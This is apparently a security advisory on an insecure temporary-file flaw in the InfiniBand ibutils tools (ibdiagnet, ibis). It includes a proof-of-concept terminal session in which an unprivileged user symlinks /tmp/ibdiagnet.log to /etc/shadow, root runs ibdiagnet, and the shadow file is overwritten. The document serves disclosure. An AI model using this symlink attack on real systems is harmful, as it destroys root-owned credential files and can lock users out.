The infiniband diagnostic utiltiy handles files in /tmp insecurely. A malicious user can clobber root owned files with common symlink attacks. http://www.openfabrics.org/downloads/ibutils/ [nobody@exdb01 tmp]$ ln -s /etc/shadow ibdiagnet.log [nobody@exdb01 tmp]$ ls -l ibdiagnet.log lrwxrwxrwx 1 nobody users 11 Mar 6 18:19 ibdiagnet.log -> /etc/shadow [nobody@exdb01 tmp]$ The following files are created, I imagine anyone of them can be used. [root@exdb01 tmp]# ls -l /tmp/ibdiagnet* -rw-r--r-- 1 root root 57611 Mar 6 18:20 /tmp/ibdiagnet.db -rw-r--r-- 1 root root 830 Mar 6 18:20 /tmp/ibdiagnet.fdbs -rw-r--r-- 1 root root 5805 Mar 6 18:20 /tmp/ibdiagnet_ibis.log -rw-r--r-- 1 root root 2359 Mar 6 18:20 /tmp/ibdiagnet.log -rw-r--r-- 1 root root 7072 Mar 6 18:20 /tmp/ibdiagnet.lst -rw-r--r-- 1 root root 456 Mar 6 18:20 /tmp/ibdiagnet.mcfdbs -rw-r--r-- 1 root root 784 Mar 6 18:20 /tmp/ibdiagnet.pkey -rw-r--r-- 1 root root 3348 Mar 6 18:20 /tmp/ibdiagnet.psl -rw-r--r-- 1 root root 179228 Mar 6 18:20 /tmp/ibdiagnet.slvl -rw-r--r-- 1 root root 193 Mar 6 18:20 /tmp/ibdiagnet.sm After root runs a diagnostic command: [root@exdb01 tmp]# ibdiagnet -ls 10 -lw 4x -vlr Loading IBDIAGNET from: /usr/lib64/ibdiagnet1.5.7 -W- Topology file is not specified. Reports regarding cluster links will use direct routes. Loading IBDM from: /usr/lib64/ibdm1.5.7 -W- A few ports of local device are up. Since port-num was not specified (-p option), port 1 of device 1 will be used as the local port. -I- Discovering ... 7 nodes (2 Switches & 5 CA-s) discovered. . . . . Extracting SL Based Routing Info 0 0 Please see /tmp/ibdiagnet.log for complete log -I- Done. Run time was 2 seconds. Symlinked files are overwritten: [root@exdb01 tmp] ls -l /etc/shadow -rw------- 1 root root 2359 Mar 6 18:17 /etc/shadow [root@exdb01 tmp] head /etc/shadow -W- Topology file is not specified. Reports regarding cluster links will use direct routes. -W- A few ports of local device are up. Since port-num was not specified (-p option), port 1 of device 1 will be used as the local port. -I- Discovering ... 7 nodes (2 Switches & 5 CA-s) discovered. -I--------------------------------------------------- -I- Bad Guids/LIDs Info Versions installed [root@exdb01 tmp] rpm -aq |grep ibutils ibutils-1.5.7-1.el5 ibutils-libs-1.5.7-1.el5 ibutils-devel-1.5.7-1.el5 [root@exdb01 tmp] ibis binary also creates files insecurely in /tmp: /tmp/ibis.log from the man page: IBIS(1) IB MANAGEMENT IN-BAND SERVICES PACKAGE IBIS(1) NAME ibis - IB management Inband Services - an extended TCL shell SYNOPSYS ibis [-port_num ] DESCRIPTION ibis is a TCL shell extended with interface for sending and receiving IB management datagrams (MADS). To use this shell you will write TCL code that excersizes the regular TCL command and the special API provided by this extension. Interactive use is also possible and is greatly enhanced if tclreadline package is available on the machine. The following sub sections provide detailed definition for the API and global objects defined by the extension. The different MADs APIs are group by the management class. https://bugzilla.redhat.com/show_bug.cgi?id=927430